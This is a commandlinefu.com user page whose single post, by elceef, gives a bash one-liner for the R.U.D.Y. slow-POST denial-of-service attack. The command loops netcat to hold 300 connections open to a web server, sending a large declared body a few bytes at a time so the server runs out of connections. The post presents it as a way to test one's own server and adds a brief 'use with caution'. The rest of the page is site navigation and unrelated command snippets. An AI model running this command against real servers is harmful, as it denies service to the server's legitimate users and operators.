Commands by elceef (1)

  • Check if your HTTP server is vulnerable to a very effective variant of slow HTTP attack called R.U.D.Y (R-U-Dead-Yet?). This command tries to keep many connections to the target web server and hold them open as long as possible. Affected server will exhaust its maximum concurrent connection pool and deny additional connection attempts from legitimate clients. Use it with caution!


    0
    for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: vhost.domain\nContent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) | nc vhost.domain 80 & ); done
    elceef · 2015-04-15 14:02:55 0

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands


Check These Out

remove recursively all txt files with number of lines less than 10

Show the PATH, one directory per line
This is useful for examining the path.

Display the human-readable sizes of all files and folders in the current directory with 3 decimal places
To sort the list by file/directory size, insert `sort -n |` before `awk`.

Download file with multiple simultaneous connections
jrk's aria2 example is incorrect. -s specifies the global connection limit; the per-host connection limit is specified with -x.

YES = NO

Scale,Rotate, brightness, contrast,...with Image Magick
$rotate: the rotate angle $width, $height: width and height to scale to $birghtness: change brighness

Add a line from 1 file after every line of another (shuffle files together)
After every line in targetfile (empty lines included) insert in a line from addfile. "Save" results to savefile. Addfile should be longer than targetfile since this doesn't loop back to the top of addfile. /^/R addfile -- says for every line that matches "has a start of line" output a line from the file addfile. > savefile (optional) -- redirect output to savefile file.

Extract rpm package name, version and release using some fancy sed regex
This command could seem pretty pointless especially when you can get the same result more easily using the rpm builtin queryformat, like: $ rpm -qa --qf "%{NAME} %{VERSION} %{RELEASE}.%{ARCH}\n" | sort | column -t but nonetheless I've learned that sometimes it can be quite interesting trying to explore alternative ways to accomplish the same task (as Perl folks like to say: There's more than one way to do it!)

Uninstall bloatware on your android device without root.
List all packages with: pm list packages|cut -d: -f2

search ubuntu packages to find which package contains the executable program programname
search ubuntu's remote package source repositories for a specific program to see which package contains it


Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: